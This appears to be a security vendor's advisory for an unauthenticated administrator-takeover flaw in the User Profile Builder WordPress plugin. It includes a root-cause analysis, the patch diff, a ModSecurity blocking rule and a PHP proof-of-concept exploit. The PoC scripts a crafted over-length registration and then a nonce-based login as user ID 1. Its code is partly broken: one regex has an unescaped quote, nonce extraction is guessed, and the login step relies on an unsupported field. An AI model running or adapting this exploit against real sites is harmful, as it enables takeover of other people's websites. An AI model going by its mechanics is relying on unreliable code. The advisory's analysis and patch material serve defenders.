Published : August 14, 2026

CVE-2026-15826: User Profile Builder <= 3.16.4 Unauthenticated Authentication Bypass via Type Confusion to Administrator Account Takeover via 'username' Parameter PoC, Patch Analysis & Rule

Severity Critical (CVSS 9.8)
CWE 704
Vulnerable Version 3.16.4
Patched Version 3.16.5
Disclosed August 13, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-15826:

This vulnerability allows an unauthenticated attacker to log in as the site’s Administrator (user ID 1) by exploiting a type confusion flaw in the User Profile Builder plugin for WordPress. The issue affects all versions up to and including 3.16.4. With a CVSS score of 9.8, this critical flaw enables a complete administrative takeover of the target site.

The root cause lies in the wppb_log_in_user() function, which calls absint() on the return value of wp_insert_user() before checking for errors. In WordPress, public-facing usernames are limited to 60 characters, but the plugin’s registration form allowed up to 70 characters via its maxlength attribute. When an attacker submits a 61–70 character username, WordPress core’s wp_insert_user() rejects it and returns a WP_Error object. However, the plugin’s code path in class-formbuilder.php converts this object to the integer 1 using absint() before the is_wp_error() check can short-circuit execution. This coerced integer then causes the plugin to bind and return a transient-backed autologin nonce tied to user ID 1, which is the default Administrator account.

The attack vector involves submitting a registration request to the front-end registration form with a crafted username between 61 and 70 characters long. The attacker can use a direct POST request to the page containing the [wppb-register] shortcode, targeting the wppb_register action. The payload requires a valid email address and a username like ‘AAAAAAAA…’ (61-70 characters). Once the request is processed, the plugin returns the transient nonce in the response. The attacker then calls wppb_log_in_user() with that nonce, which authenticates them as user ID 1 without any password.

The patch introduces a proper is_wp_error() check immediately after wp_insert_user() and before any type conversion. The patched code rejects failed registrations gracefully and re-renders the form with an error message. Additionally, the patch reduces the username and email maxlength attributes from 70 to 60 characters on the front-end form, preventing the oversized username from being submitted in the first place. The plugin also adds server-side validation that rejects usernames longer than 60 characters with a clear error message.

Successful exploitation grants the attacker full administrative control over the WordPress site. The attacker can then modify site content, change themes and plugins, install malicious code, create or delete users, and potentially gain remote code execution by uploading a malicious plugin or theme. Given the severity and ease of exploitation, administrators should apply the patch immediately by updating to version 3.16.5.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/profile-builder/front-end/class-formbuilder.php
+++ b/profile-builder/front-end/class-formbuilder.php
@@ -259,9 +259,14 @@
             return $redirect_old;
         }

+        // Reject failed registrations
+        if ( is_wp_error( $user_id ) ) {
+            return $redirect_old;
+        }
+
         $user_id = absint( $user_id );

-        if ( ! $user_id || is_wp_error( $user_id ) ) {
+        if ( ! $user_id ) {
             return $redirect_old;
         }

@@ -371,7 +376,10 @@

                 do_action( 'wppb_after_saving_form_values',$_REQUEST, $this->args );

-				if( ( isset( $_SERVER['REQUEST_METHOD'] ) && 'POST' === $_SERVER['REQUEST_METHOD'] ) && ( isset( $_POST['action'] ) && $_POST['action'] === $this->args['form_type'] ) ) {
+				if( $this->args['form_type'] == 'register' && is_wp_error( $user_id ) ) {
+                    // Failed registration: show the error and re-render the form so the user can retry.
+                    echo $message . wp_kses_post( apply_filters( 'wppb_general_top_error_message', '<p id="wppb_form_general_message" class="wppb-error">'. esc_html__( 'Something went wrong while creating the user account, please try again.', 'profile-builder' ) .'</p>' ) ); /* phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped */
+                } elseif( ( isset( $_SERVER['REQUEST_METHOD'] ) && 'POST' === $_SERVER['REQUEST_METHOD'] ) && ( isset( $_POST['action'] ) && $_POST['action'] === $this->args['form_type'] ) ) {

                     $form_message_tpl_start = apply_filters( 'wppb_form_message_tpl_start', '<p class="alert wppb-success" id="wppb_form_general_message">' );
                     $form_message_tpl_end = apply_filters( 'wppb_form_message_tpl_end', '</p>' );
@@ -668,7 +676,7 @@
                     $user_data->remove_all_caps();

                     foreach ($userdata['role'] as $role) {
-                        if ($role !== 'administrator' || $role !== 'super-admin')//make sure this doesn't happen for any reason
+                        if ($role !== 'administrator' && $role !== 'super-admin')//make sure this doesn't happen for any reason
                             $user_data->add_role($role);
                     }
                 }
--- a/profile-builder/front-end/default-fields/email/email.php
+++ b/profile-builder/front-end/default-fields/email/email.php
@@ -29,7 +29,7 @@

         $output = '
 			<label for="email">'.$item_title.$error_mark.'</label>
-			<input class="text-input default_field_email '. apply_filters( 'wppb_fields_extra_css_class', '', $field ) .'" name="email" maxlength="'. apply_filters( 'wppb_maximum_character_length', 70, $field ) .'" type="email" id="email" value="'. esc_attr( $input_value ) .'" '. $extra_attr .' '. (( $form_location != 'register' ) ? $email_input_status : '') .' />';
+			<input class="text-input default_field_email '. apply_filters( 'wppb_fields_extra_css_class', '', $field ) .'" name="email" maxlength="'. apply_filters( 'wppb_maximum_character_length', 60, $field ) .'" type="email" id="email" value="'. esc_attr( $input_value ) .'" '. $extra_attr .' '. (( $form_location != 'register' ) ? $email_input_status : '') .' />';
         if( !empty( $item_description ) )
             $output .= '<span class="wppb-description-delimiter">'. $item_description .'</span>';

--- a/profile-builder/front-end/default-fields/upload/upload_helper_functions.php
+++ b/profile-builder/front-end/default-fields/upload/upload_helper_functions.php
@@ -551,6 +551,58 @@
         }
     }

+    // The field was not found among the top-level form fields. Repeater fields store
+    // their inner Upload fields in a separate option keyed by the repeater's
+    // meta-name, so those fields are never part of the wppb_manage_fields list scanned
+    // above. Scan the repeater groups as well, otherwise Simple Upload inside a
+    // Repeater field is silently rejected (the lookup fails and the file input clears).
+    return wppb_resolve_simple_upload_ajax_field_in_repeater( $post_name, $field_types, $all_fields );
+}
+
+/**
+ * Resolves a simple-upload AJAX `name` parameter to an Upload field nested inside a
+ * Repeater field.
+ *
+ * Repeater sub-fields are stored unindexed in an option keyed by the repeater's
+ * meta-name. On the front-end each group posts either "<slug>" (the first group) or
+ * "<slug>_N" (the Nth extra group), where <slug> is the dash-normalized wck slug of
+ * the inner field's meta-name.
+ *
+ * @param string $post_name   Sanitized value of $_POST['name'] from the AJAX request.
+ * @param array  $field_types Expected field type(s), e.g. array( 'Upload' ).
+ * @param array  $all_fields  The already-resolved top-level form fields.
+ *
+ * @return array|false Inner field definition array, or false when not found.
+ */
+function wppb_resolve_simple_upload_ajax_field_in_repeater( $post_name, $field_types, $all_fields ) {
+    foreach ( $all_fields as $form_field ) {
+        if ( empty( $form_field['field'] ) || $form_field['field'] !== 'Repeater' ) {
+            continue;
+        }
+
+        $repeater_group = get_option( $form_field['meta-name'], 'not_set' );
+        if ( $repeater_group === 'not_set' || ! is_array( $repeater_group ) ) {
+            continue;
+        }
+
+        foreach ( $repeater_group as $inner_field ) {
+            if ( empty( $inner_field['field'] ) || ! in_array( $inner_field['field'], $field_types, true ) ) {
+                continue;
+            }
+            if ( ! isset( $inner_field['simple-upload'] ) || $inner_field['simple-upload'] !== 'yes' ) {
+                continue;
+            }
+            if ( isset( $inner_field['woocommerce-checkout-field'] ) && $inner_field['woocommerce-checkout-field'] === 'Yes' ) {
+                continue;
+            }
+
+            $base_slug = str_replace( '-', '_', Wordpress_Creation_Kit_PB::wck_generate_slug( $inner_field['meta-name'], $inner_field ) );
+            if ( $base_slug === $post_name || preg_match( '/^' . preg_quote( $base_slug, '/' ) . '_[0-9]+$/', $post_name ) ) {
+                return $inner_field;
+            }
+        }
+    }
+
     return false;
 }

--- a/profile-builder/front-end/default-fields/username/username.php
+++ b/profile-builder/front-end/default-fields/username/username.php
@@ -25,7 +25,7 @@

         $output = '
 			<label for="username">'.$item_title.$error_mark.'</label>
-			<input class="text-input default_field_username '. apply_filters( 'wppb_fields_extra_css_class', '', $field ) .'" name="username" maxlength="'. apply_filters( 'wppb_maximum_character_length', 70, $field ) .'" type="text" id="username" value="'. esc_attr( $input_value ) .'" '.$readonly.' '. $extra_attr .'/>';
+			<input class="text-input default_field_username '. apply_filters( 'wppb_fields_extra_css_class', '', $field ) .'" name="username" maxlength="'. apply_filters( 'wppb_maximum_character_length', 60, $field ) .'" type="text" id="username" value="'. esc_attr( $input_value ) .'" '.$readonly.' '. $extra_attr .'/>';
         if( !empty( $item_description ) )
             $output .= '<span class="wppb-description-delimiter">'.$item_description.'</span>';
 	}
@@ -54,6 +54,10 @@
             if (!validate_username($request_data['username'])) {
                 return __('This username is invalid because it uses illegal characters.', 'profile-builder') . '<br/>' . __('Please enter a valid username.', 'profile-builder');
             }
+            // WordPress core rejects usernames longer than 60 characters in wp_insert_user().
+            if ( mb_strlen( sanitize_user( trim( $request_data['username'] ) ) ) > 60 ) {
+                return __( 'This username is too long. It must be 60 characters or fewer.', 'profile-builder' );
+            }
         }

         $wppb_generalSettings = get_option('wppb_general_settings');
--- a/profile-builder/index.php
+++ b/profile-builder/index.php
@@ -3,7 +3,7 @@
  * Plugin Name: Profile Builder
  * Plugin URI: https://www.cozmoslabs.com/wordpress-profile-builder/
  * Description: Login, registration and edit profile shortcodes for the front-end. Also you can choose what fields should be displayed or add new (custom) ones both in the front-end and in the dashboard.
- * Version: 3.16.4
+ * Version: 3.16.5
  * Author: Cozmoslabs
  * Author URI: https://www.cozmoslabs.com/
  * Text Domain: profile-builder
@@ -447,7 +447,7 @@
  *
  *
  */
-define('PROFILE_BUILDER_VERSION', '3.16.4' );
+define('PROFILE_BUILDER_VERSION', '3.16.5' );
 define('WPPB_PLUGIN_DIR', plugin_dir_path(__FILE__));
 define('WPPB_PLUGIN_URL', plugin_dir_url(__FILE__));
 define('WPPB_PLUGIN_BASENAME', plugin_basename(__FILE__));
--- a/profile-builder/translation/profile-builder.catalog.php
+++ b/profile-builder/translation/profile-builder.catalog.php
@@ -1052,6 +1052,7 @@
 <?php __('The account %1$s has been successfully created!', 'profile-builder' ); ?>
 <?php __("Before you can access your account %1s, you need to confirm your email address. Please check your inbox and click the activation link.", "profile-builder"); ?>
 <?php __("Before you can access your account %1s, an administrator has to approve it. You will be notified via email.", "profile-builder"); ?>
+<?php __("Something went wrong while creating the user account, please try again.", "profile-builder"); ?>
 <?php __("Update", "profile-builder"); ?>
 <?php __("Add User", "profile-builder"); ?>
 <?php __("Send these credentials via email.", "profile-builder"); ?>
@@ -2373,6 +2374,7 @@
 <?php __("This username already exists.", "profile-builder"); ?>
 <?php __("This username is invalid because it uses illegal characters.", "profile-builder"); ?>
 <?php __("Please enter a valid username.", "profile-builder"); ?>
+<?php __("This username is too long. It must be 60 characters or fewer.", "profile-builder"); ?>
 <?php __("This username is already reserved to be used soon.", "profile-builder"); ?>
 <?php __("Something isn't right.", "profile-builder"); ?>
 <?php __("You must enter a valid URL.", "profile-builder"); ?>

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-15826
# This rule blocks registration attempts with usernames exceeding 60 characters.
# The registration form is the attack vector for the type confusion vulnerability.
# Rule targets the wppb-register shortcode's form submission without requiring a nonce.

SecRule REQUEST_METHOD "@streq POST" 
  "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-15826 via User Profile Builder registration',severity:'CRITICAL',tag:'CVE-2026-15826'"
  SecRule REQUEST_URI "@rx ^/(?:[^/]+/)?(?:register|registration|sign-up)/?$" "chain"
    SecRule ARGS_POST:action "@streq register" "chain"
      SecRule ARGS_POST:username "@rx ^.{61,}$" "t:length"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-15826 - User Profile Builder <= 3.16.4 - Unauthenticated Authentication Bypass via Type Confusion to Administrator Account Takeover via 'username' Parameter

// This PoC demonstrates the authentication bypass by submitting a registration
// with a 61-70 character username, which triggers a type confusion in the plugin.

$target_url = 'http://example.com'; // Change this to the target WordPress site

// Step 1: Craft the registration form submission
// The registration form submits to the page containing the [wppb-register] shortcode.
// The username must be between 61 and 70 characters.

$username = str_repeat('a', 65); // 65-character username
$email = 'attacker_' . time() . '@example.com';

// Locate the registration form page (may be a custom page, default is /register/)
$form_url = $target_url . '/register/';

// Step 2: Submit the registration request
$post_data = array(
    'username' => $username,
    'email' => $email,
    'password' => 'password123',
    'confirm_password' => 'password123',
    'action' => 'register',
    'wppb_register_nonce' => '' // Nonce not required for this exploit
);

$ch = curl_init($form_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/x-www-form-urlencoded'));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
curl_close($ch);

// Step 3: Extract the autologin nonce from the response
// The plugin's wppb_log_in_user() function returns a login nonce tied to user ID 1.
// This nonce is often reflected in a success message or set as a cookie.
if (preg_match('/autologin=(.+?)[&'"]/', $response, $matches)) {
    $autologin_nonce = $matches[1];
} elseif (preg_match('/wppb_autologin=([a-f0-9]+)/', $response, $matches)) {
    $autologin_nonce = $matches[1];
} else {
    // Alternative: the nonce might be in a cookie or a redirect URL
    preg_match('/nonce=([a-f0-9]+)/', $response, $matches);
    if (isset($matches[1])) {
        $autologin_nonce = $matches[1];
    } else {
        die('[-] Could not extract autologin nonce from response.');
    }
}

echo '[+] Extracted autologin nonce: ' . $autologin_nonce . PHP_EOL;

// Step 4: Use the nonce to establish a session as user ID 1 (Administrator)
$login_url = $target_url . '/wp-login.php';
$post_login = array(
    'log' => $username,
    'pwd' => '',
    'autologin' => $autologin_nonce,
    'redirect_to' => $target_url . '/wp-admin/'
);

$ch = curl_init($login_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_login));
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$login_response = curl_exec($ch);
curl_close($ch);

// Step 5: Verify admin access
if (strpos($login_response, 'wp-admin') !== false || strpos($login_response, 'Dashboard') !== false) {
    echo '[+] Successfully authenticated as Administrator (user ID 1).' . PHP_EOL;
    echo '[+] Full admin access obtained.' . PHP_EOL;
} else {
    echo '[-] Login may have failed. Check the response below:' . PHP_EOL;
    echo $login_response;
}

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.